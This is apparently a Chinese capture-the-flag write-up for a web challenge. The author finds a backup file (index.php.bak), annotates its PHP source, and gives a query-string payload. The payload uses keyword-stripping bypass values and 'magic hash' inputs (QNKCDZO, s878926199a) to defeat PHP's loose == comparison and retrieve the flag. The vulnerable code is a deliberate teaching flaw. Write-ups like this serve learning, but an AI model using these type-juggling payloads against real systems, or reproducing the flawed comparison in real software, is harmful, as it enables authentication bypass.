题解
打开网站只有一串不知道是啥的数字(后面知道了,是md5的空字符串)
看了网上的题解,大部分都是用御剑扫的…嗯好吧,真是简单粗暴,不过确实有用,找到了
index.php.bak
,下载下来是如下的代码,在这里做个注释
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
# 将display_errors值置为0
ini_set("display_errors", 0);
# 返回除了网址以外的,以'?'开头的请求部分
$str = strstr($_SERVER['REQUEST_URI'], '?');
# 去掉问号
$str = substr($str,1);
# 把str中的key都替换成空的
$str = str_replace('key','',$str);
/*
将请求的url中的值都存到相应变量中
如处理完的str为key1=kad&key2=yyy
那么key1和key2的值则分别为kad和yyy
*/
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
因此构造一下,可以用
http://123.206.87.240:8002/web16/?kekeyy1=QNKCDZO&kekeyy2=s878926199a
,其中
QNKCDZO
和
s878926199a
的md5编码都以0e开头,这里用到了php中
==
的绕过 【ctf知识】php中双等号在判值上的漏洞
提交上面的payload拿到flag
真的学到了好多东西,路还长着嘞qwq